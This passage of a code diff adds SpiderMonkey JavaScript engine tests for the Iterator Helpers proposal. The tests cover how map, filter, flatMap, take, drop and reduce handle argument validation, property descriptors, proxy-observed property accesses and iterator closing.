+description: Lazy %Iterator.prototype% methods throw eagerly when passed non-callables.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+const methods = [
+ (iter, fn) => iter.map(fn),
+ (iter, fn) => iter.filter(fn),
+ (iter, fn) => iter.flatMap(fn),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(() => method(Iterator.prototype, 0), TypeError);
+ assertThrowsInstanceOf(() => method(Iterator.prototype, false), TypeError);
+ assertThrowsInstanceOf(() => method(Iterator.prototype, undefined), TypeError);
+ assertThrowsInstanceOf(() => method(Iterator.prototype, null), TypeError);
+ assertThrowsInstanceOf(() => method(Iterator.prototype, ''), TypeError);
+ assertThrowsInstanceOf(() => method(Iterator.prototype, Symbol('')), TypeError);
+ assertThrowsInstanceOf(() => method(Iterator.prototype, {}), TypeError);
+
+ assertThrowsInstanceOf(() => method([].values(), 0), TypeError);
+ assertThrowsInstanceOf(() => method([].values(), false), TypeError);
+ assertThrowsInstanceOf(() => method([].values(), undefined), TypeError);
+ assertThrowsInstanceOf(() => method([].values(), null), TypeError);
+ assertThrowsInstanceOf(() => method([].values(), ''), TypeError);
+ assertThrowsInstanceOf(() => method([].values(), Symbol('')), TypeError);
+ assertThrowsInstanceOf(() => method([].values(), {}), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js
new file mode 100644
index 0000000000..dad38237f1
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods throw eagerly when called on non-iterators.
+info: >
+ Iterator Helpers proposal 1.1.1
+features: [iterator-helpers]
+---*/
+
+const methods = [
+ iter => Iterator.prototype.map.bind(iter, x => x),
+ iter => Iterator.prototype.filter.bind(iter, x => x),
+ iter => Iterator.prototype.take.bind(iter, 1),
+ iter => Iterator.prototype.drop.bind(iter, 0),
+ iter => Iterator.prototype.asIndexedPairs.bind(iter),
+ iter => Iterator.prototype.flatMap.bind(iter, x => [x]),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(method(undefined), TypeError);
+ assertThrowsInstanceOf(method(null), TypeError);
+ assertThrowsInstanceOf(method(0), TypeError);
+ assertThrowsInstanceOf(method(false), TypeError);
+ assertThrowsInstanceOf(method(''), TypeError);
+ assertThrowsInstanceOf(method(Symbol('')), TypeError);
+ assertThrowsInstanceOf(method({}), TypeError);
+ assertThrowsInstanceOf(method([]), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-done-throws.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-done-throws.js
new file mode 100644
index 0000000000..72669beabc
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-done-throws.js
@@ -0,0 +1,47 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods throw if `next.done` throws.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends Iterator {
+ next() {
+ return {
+ get done() {
+ throw new TestError();
+ }
+ };
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+ assertThrowsInstanceOf(() => method(iterator).next(), TestError);
+ assertEq(iterator.closed, false);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-not-object.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-not-object.js
new file mode 100644
index 0000000000..1d70ed1d62
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-next-not-object.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %Iterator.prototype% methods throw if `next` call returns a non-object.
+info: >
+ Iterator Helpers proposal 2.1.5
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends Iterator {
+ next(value) {
+ return value;
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => [x]),
+];
+
+for (const method of methods) {
+ for (const value of [undefined, null, 0, false, '', Symbol('')]) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+ assertThrowsInstanceOf(() => method(iterator).next(value), TypeError);
+ assertEq(iterator.closed, false);
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-on-reentry.js b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-on-reentry.js
new file mode 100644
index 0000000000..1095842f55
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/lazy-methods-throw-on-reentry.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+const methods = [
+ iter => iter.map,
+ iter => iter.filter,
+ iter => iter.flatMap,
+];
+
+for (const method of methods) {
+ const iter = [1].values();
+ const iterMethod = method(iter);
+ let iterHelper;
+ iterHelper = iterMethod.call(iter, x => iterHelper.next());
+ assertThrowsInstanceOf(() => iterHelper.next(), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/call-next-on-iterator-while-iterating.js b/js/src/tests/non262/Iterator/prototype/map/call-next-on-iterator-while-iterating.js
new file mode 100644
index 0000000000..a5a10120a0
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/call-next-on-iterator-while-iterating.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+/*---
+esid: pending
+description: Call next on an iterator that is being iterated over.
+info:
+features: [iterator-helpers]
+---*/
+
+const iterator = [1, 2, 3].values()
+const items = [];
+
+for (const item of iterator.map(x => x ** 2)) {
+ const nextItem = iterator.next();
+ items.push(item, nextItem.value);
+}
+
+assertEq(items[0], 1);
+assertEq(items[1], 2);
+assertEq(items[2], 9);
+assertEq(items[3], undefined);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/clobber-symbol.js b/js/src/tests/non262/Iterator/prototype/map/clobber-symbol.js
new file mode 100644
index 0000000000..8d5b2721e1
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/clobber-symbol.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map works even if the global Symbol has been clobbered..
+info:
+features: [iterator-helpers, Symbol, Symbol.iterator]
+---*/
+
+Symbol = undefined;
+assertThrowsInstanceOf(() => Symbol.iterator, TypeError);
+
+const iterator = [0].values();
+assertEq(
+ iterator.map(x => x + 1).next().value, 1,
+ '`%Iterator.prototype%.map` still works after Symbol has been clobbered'
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/interleaved-map-calls.js b/js/src/tests/non262/Iterator/prototype/map/interleaved-map-calls.js
new file mode 100644
index 0000000000..3253e06192
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/interleaved-map-calls.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Interleaved %Iterator.prototype%.map calls on the same iterator.
+info:
+features: [iterator-helpers]
+---*/
+
+const iterator = [1, 2, 3].values();
+const mapped1 = iterator.map(x => x);
+const mapped2 = iterator.map(x => 0);
+
+assertEq(mapped1.next().value, 1);
+assertEq(mapped2.next().value, 0);
+assertEq(mapped1.next().value, 3);
+
+assertEq(mapped1.next().done, true);
+assertEq(mapped2.next().done, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/length.js b/js/src/tests/non262/Iterator/prototype/map/length.js
new file mode 100644
index 0000000000..d6bc1ca774
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/length.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+includes: [propertyHelper.js]
+features: [Symbol.iterator]
+---*/
+
+assertEq(Iterator.prototype.map.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.map, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/map.js b/js/src/tests/non262/Iterator/prototype/map/map.js
new file mode 100644
index 0000000000..2cf5267be7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/map.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+const map = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'map');
+
+assertEq(
+ Iterator.prototype.map, map.value,
+ 'The value of `%Iterator.prototype%.map` is the same as the value in the property descriptor.'
+);
+
+assertEq(
+ typeof map.value, 'function',
+ '%Iterator.prototype%.map is a function.'
+);
+
+assertEq(map.enumerable, false);
+assertEq(map.writable, true);
+assertEq(map.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/mapper-not-callable-throw.js b/js/src/tests/non262/Iterator/prototype/map/mapper-not-callable-throw.js
new file mode 100644
index 0000000000..334e0fd8f9
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/mapper-not-callable-throw.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Eagerly throw TypeError when `mapper` is not callable.
+info:
+features: [iterator-helpers]
+---*/
+
+assertThrowsInstanceOf(() => Iterator.prototype.map(undefined), TypeError);
+assertThrowsInstanceOf(() => [].values().map(undefined), TypeError);
+
+assertThrowsInstanceOf(() => Iterator.prototype.map(null), TypeError);
+assertThrowsInstanceOf(() => [].values().map(null), TypeError);
+
+assertThrowsInstanceOf(() => Iterator.prototype.map(0), TypeError);
+assertThrowsInstanceOf(() => [].values().map(0), TypeError);
+
+assertThrowsInstanceOf(() => Iterator.prototype.map(false), TypeError);
+assertThrowsInstanceOf(() => [].values().map(false), TypeError);
+
+assertThrowsInstanceOf(() => Iterator.prototype.map({}), TypeError);
+assertThrowsInstanceOf(() => [].values().map({}), TypeError);
+
+assertThrowsInstanceOf(() => Iterator.prototype.map(''), TypeError);
+assertThrowsInstanceOf(() => [].values().map(''), TypeError);
+
+assertThrowsInstanceOf(() => Iterator.prototype.map(Symbol('')), TypeError);
+assertThrowsInstanceOf(() => [].values().map(Symbol('')), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/mutate-iterator-after-done.js b/js/src/tests/non262/Iterator/prototype/map/mutate-iterator-after-done.js
new file mode 100644
index 0000000000..b38158d73a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/mutate-iterator-after-done.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Mutate an iterator after it has been mapped and returned done.
+info:
+features: [iterator-helpers]
+---*/
+
+const array = [1, 2, 3];
+const iterator = [1, 2, 3].values().map(x => x * 2);
+
+assertEq(iterator.next().value, 2);
+assertEq(iterator.next().value, 4);
+assertEq(iterator.next().value, 6);
+assertEq(iterator.next().done, true);
+
+array.push(4);
+assertEq(iterator.next().done, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/mutate-iterator.js b/js/src/tests/non262/Iterator/prototype/map/mutate-iterator.js
new file mode 100644
index 0000000000..b1cc52fae5
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/mutate-iterator.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Mutate an iterator after it has been mapped.
+info:
+features: [iterator-helpers]
+---*/
+
+const array = [1, 2, 3];
+const iterator = array.values().map(x => x * 2);
+array.push(4);
+
+assertEq(iterator.next().value, 2);
+assertEq(iterator.next().value, 4);
+assertEq(iterator.next().value, 6);
+assertEq(iterator.next().value, 8);
+assertEq(iterator.next().done, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/name.js b/js/src/tests/non262/Iterator/prototype/map/name.js
new file mode 100644
index 0000000000..3ba024d6e7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+/*---
+esid: pending
+description: %Iterator.prototype%.map.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.map.name, 'map');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.map, 'name');
+assertEq(propertyDescriptor.value, 'map');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/output-at-generator-end.js b/js/src/tests/non262/Iterator/prototype/map/output-at-generator-end.js
new file mode 100644
index 0000000000..69ef04a7b2
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/output-at-generator-end.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map outputs correct value at end of iterator.
+info:
+features: [iterator-helpers]
+---*/
+
+const iterator = [0].values().map(x => x);
+
+const iterRecord = iterator.next();
+assertEq(iterRecord.done, false);
+assertEq(iterRecord.value, 0);
+
+let endRecord = iterator.next();
+assertEq(endRecord.done, true);
+assertEq(endRecord.value, undefined);
+
+endRecord = iterator.next();
+assertEq(endRecord.done, true);
+assertEq(endRecord.value, undefined);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/pass-lastValue-to-next.js b/js/src/tests/non262/Iterator/prototype/map/pass-lastValue-to-next.js
new file mode 100644
index 0000000000..deb31e2aa2
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/pass-lastValue-to-next.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map passes lastValue to the `next` call.
+info: >
+ Iterator Helpers Proposal 2.1.5.2
+features: [iterator-helpers]
+---*/
+
+let nextWasPassed;
+
+const iteratorWhereNextTakesValue = Object.setPrototypeOf({
+ next: function(value) {
+ nextWasPassed = value;
+
+ if (this.value < 3)
+ return { done: false, value: this.value++ };
+ return { done: true, value: undefined };
+ },
+ value: 0,
+}, Iterator.prototype);
+
+const mappedIterator = iteratorWhereNextTakesValue.map(x => x);
+
+assertEq(mappedIterator.next(1).value, 0);
+assertEq(nextWasPassed, undefined);
+
+assertEq(mappedIterator.next(2).value, 1);
+assertEq(nextWasPassed, 2);
+
+assertEq(mappedIterator.next(3).value, 2);
+assertEq(nextWasPassed, 3);
+
+assertEq(mappedIterator.next(4).done, true);
+assertEq(nextWasPassed, 4);
+
+// assertEq(mappedIterator.next(5).done, true);
+// assertEq(nextWasPassed, 4);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-iteratorValue.js b/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-iteratorValue.js
new file mode 100644
index 0000000000..f50bd0da10
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-iteratorValue.js
@@ -0,0 +1,55 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map does not call return when IteratorValue returns an abrupt completion.
+info: >
+features: [iterator-helpers]
+---*/
+
+const handlerProxy = log => new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ const target = args[0];
+ const item = Reflect[key](...args);
+
+ log.push(`${key}: ${args.filter(x => typeof x != 'object').map(x => x.toString())}`);
+
+ switch (typeof item) {
+ case 'function': return item.bind(new Proxy(target, handlerProxy(log)));
+ case 'object': return new Proxy(item, handlerProxy(log));
+ default: return item;
+ }
+ },
+});
+
+const log = [];
+const iterator = Object.setPrototypeOf({
+ next: function() {
+ throw 'error';
+ return { done: false, value: 0 };
+ },
+ return: function(value) {
+ log.push('close iterator');
+ return { done: true, value };
+ },
+}, Iterator.prototype);
+const iteratorProxy = new Proxy(iterator, handlerProxy(log));
+const mappedProxy = iteratorProxy.map(x => x);
+
+try {
+ mappedProxy.next();
+} catch (exc) {
+ assertEq(exc, 'error');
+}
+
+console.log(log.join('\n'));
+
+assertEq(
+ log.join('\n'),
+`get: map
+get: next`
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-yield.js b/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-yield.js
new file mode 100644
index 0000000000..4d4854da36
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-yield.js
@@ -0,0 +1,62 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map calls return when yield throws.
+info: >
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends Iterator {
+ constructor(log) {
+ super();
+ this.log = log;
+ }
+
+ next() {
+ return {done: false, value: 0};
+ }
+
+ return(value) {
+ log.push('close iterator');
+ return {done: true, value};
+ }
+}
+
+const handlerProxy = log => new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ const target = args[0];
+ const item = Reflect[key](...args);
+
+ log.push(`${key}: ${args.filter(x => typeof x != 'object').map(x => x.toString())}`);
+
+ switch (typeof item) {
+ case 'function': return item.bind(new Proxy(target, handlerProxy(log)));
+ case 'object': return new Proxy(item, handlerProxy(log));
+ default: return item;
+ }
+ },
+});
+
+const log = [];
+const iterator = new TestIterator(log);
+const iteratorProxy = new Proxy(iterator, handlerProxy(log));
+const mappedProxy = iteratorProxy.map(x => x);
+
+mappedProxy.next();
+assertThrowsInstanceOf(() => mappedProxy.throw(new TestError()), TestError);
+mappedProxy.next();
+
+assertEq(
+ log.join('\n'),
+`get: map
+get: next
+get: return
+close iterator`
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion.js b/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion.js
new file mode 100644
index 0000000000..ea0e10bdb4
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion.js
@@ -0,0 +1,54 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map accesses specified properties only.
+info: >
+features: [iterator-helpers]
+---*/
+
+const handlerProxy = log => new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ const target = args[0];
+ const item = Reflect[key](...args);
+
+ log.push(`${key}: ${args.filter(x => typeof x != 'object').map(x => x.toString())}`);
+
+ switch (typeof item) {
+ case 'function': return item.bind(new Proxy(target, handlerProxy(log)));
+ case 'object': return new Proxy(item, handlerProxy(log));
+ default: return item;
+ }
+ },
+});
+
+const log = [];
+const iterator = Object.setPrototypeOf({
+ next: function() {
+ return { done: false, value: 0 };
+ },
+ return: function(value) {
+ log.push('close iterator');
+ return { done: true, value };
+ },
+}, Iterator.prototype);
+const iteratorProxy = new Proxy(iterator, handlerProxy(log));
+const mappedProxy = iteratorProxy.map(x => { throw 'error'; });
+
+try {
+ mappedProxy.next();
+} catch (exc) {
+ assertEq(exc, 'error');
+}
+
+assertEq(
+ log.join('\n'),
+`get: map
+get: next
+get: return
+close iterator`
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/proxy-accesses.js b/js/src/tests/non262/Iterator/prototype/map/proxy-accesses.js
new file mode 100644
index 0000000000..ba6dfd7ece
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/proxy-accesses.js
@@ -0,0 +1,94 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map accesses specified properties only.
+info: >
+features: [iterator-helpers]
+---*/
+
+const handlerProxy = log => new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ const target = args[0];
+ const item = Reflect[key](...args);
+
+ log.push(`${key}: ${args.filter(x => typeof x != 'object').map(x => x.toString())}`);
+
+ switch (typeof item) {
+ case 'function': return item.bind(new Proxy(target, handlerProxy(log)));
+ case 'object': return new Proxy(item, handlerProxy(log));
+ default: return item;
+ }
+ },
+});
+
+const log = [];
+const iterator = Object.setPrototypeOf({
+ next: function() {
+ if (this.value < 3)
+ return { done: false, value: this.value++ };
+ return { done: true, value: undefined };
+ },
+ value: 0,
+}, Iterator.prototype);
+const iteratorProxy = new Proxy(iterator, handlerProxy(log));
+const mappedProxy = iteratorProxy.map(x => x);
+
+for (const item of mappedProxy) {
+}
+
+assertEq(
+ log.join('\n'),
+`get: map
+get: next
+get: value
+get: value
+getOwnPropertyDescriptor: value
+has: enumerable
+get: enumerable
+has: configurable
+get: configurable
+has: value
+get: value
+has: writable
+get: writable
+has: get
+has: set
+defineProperty: value
+set: value,1
+get: value
+get: value
+getOwnPropertyDescriptor: value
+has: enumerable
+get: enumerable
+has: configurable
+get: configurable
+has: value
+get: value
+has: writable
+get: writable
+has: get
+has: set
+defineProperty: value
+set: value,2
+get: value
+get: value
+getOwnPropertyDescriptor: value
+has: enumerable
+get: enumerable
+has: configurable
+get: configurable
+has: value
+get: value
+has: writable
+get: writable
+has: get
+has: set
+defineProperty: value
+set: value,3
+get: value`
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/reenter-map-generator-from-mapper.js b/js/src/tests/non262/Iterator/prototype/map/reenter-map-generator-from-mapper.js
new file mode 100644
index 0000000000..b7a0d56d5c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/reenter-map-generator-from-mapper.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+// Re-entering the map() generator from the called mapper fails.
+
+let iterator;
+function mapper(x) {
+ let n = iterator.next();
+ return x;
+}
+iterator = [0].values().map(mapper);
+
+assertThrowsInstanceOf(iterator.next, TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/this-not-iterator-throw.js b/js/src/tests/non262/Iterator/prototype/map/this-not-iterator-throw.js
new file mode 100644
index 0000000000..aaed1f2617
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/this-not-iterator-throw.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Eagerly throw TypeError when `this` is not an iterator.
+info:
+features: [iterator-helpers]
+---*/
+
+const mapper = (x) => x;
+
+assertThrowsInstanceOf(() => Iterator.prototype.map.call(undefined, mapper), TypeError);
+assertThrowsInstanceOf(() => Iterator.prototype.map.call(null, mapper), TypeError);
+assertThrowsInstanceOf(() => Iterator.prototype.map.call(0, mapper), TypeError);
+assertThrowsInstanceOf(() => Iterator.prototype.map.call(false, mapper), TypeError);
+assertThrowsInstanceOf(() => Iterator.prototype.map.call({}, mapper), TypeError);
+assertThrowsInstanceOf(() => Iterator.prototype.map.call('', mapper), TypeError);
+assertThrowsInstanceOf(() => Iterator.prototype.map.call(new Symbol(''), mapper), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/this-value-array-throws.js b/js/src/tests/non262/Iterator/prototype/map/this-value-array-throws.js
new file mode 100644
index 0000000000..d8573bb3ce
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/this-value-array-throws.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: TypeError is thrown if `this` is an Array.
+info:
+features: [Symbol.iterator]
+---*/
+
+assertThrowsInstanceOf(() => Iterator.prototype.map.call([], x => x), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/throw-when-iterator-returns-non-object.js b/js/src/tests/non262/Iterator/prototype/map/throw-when-iterator-returns-non-object.js
new file mode 100644
index 0000000000..287507a2f6
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/throw-when-iterator-returns-non-object.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Throw TypeError if `next` call returns non-object.
+info:
+features: [iterator-helpers]
+---*/
+
+const iterator = returnValue => Object.setPrototypeOf({
+ next: () => returnValue,
+}, Iterator.prototype);
+const mapper = x => x;
+
+assertThrowsInstanceOf(() => iterator(undefined).map(mapper).next(), TypeError);
+assertThrowsInstanceOf(() => iterator(null).map(mapper).next(), TypeError);
+assertThrowsInstanceOf(() => iterator(0).map(mapper).next(), TypeError);
+assertThrowsInstanceOf(() => iterator(false).map(mapper).next(), TypeError);
+assertThrowsInstanceOf(() => iterator('').map(mapper).next(), TypeError);
+assertThrowsInstanceOf(() => iterator(Symbol()).map(mapper).next(), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/values-pass-through-chained-maps-to-next.js b/js/src/tests/non262/Iterator/prototype/map/values-pass-through-chained-maps-to-next.js
new file mode 100644
index 0000000000..d49daebb87
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/values-pass-through-chained-maps-to-next.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Multiple chained %Iterator.prototype%.map calls pass `lastValue` to the iterator's `next` call.
+info: >
+ Iterator Helpers Proposal 2.1.5.2
+features: [iterator-helpers]
+---*/
+
+let nextWasPassed;
+
+const iteratorWhereNextTakesValue = Object.setPrototypeOf({
+ next: function(value) {
+ nextWasPassed = value;
+
+ if (this.value < 3)
+ return { done: false, value: this.value++ };
+ return { done: true, value: undefined };
+ },
+ value: 0,
+}, Iterator.prototype);
+
+const mappedIterator = iteratorWhereNextTakesValue.map(x => 2 * x).map(x => 1 + x);
+
+assertEq(mappedIterator.next(1).value, 1);
+assertEq(nextWasPassed, undefined);
+
+assertEq(mappedIterator.next(2).value, 3);
+assertEq(nextWasPassed, 2);
+
+assertEq(mappedIterator.next(3).value, 5);
+assertEq(nextWasPassed, 3);
+
+assertEq(mappedIterator.next(4).done, true);
+assertEq(nextWasPassed, 4);
+
+assertEq(mappedIterator.next(5).done, true);
+assertEq(nextWasPassed, 4);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/accumulator-set-to-initial-value.js b/js/src/tests/non262/Iterator/prototype/reduce/accumulator-set-to-initial-value.js
new file mode 100644
index 0000000000..4395e1c7d4
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/accumulator-set-to-initial-value.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const reducer = (acc, value) => acc;
+const iterator = [1, 2, 3].values();
+
+assertEq(iterator.reduce(reducer, 0), 0);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
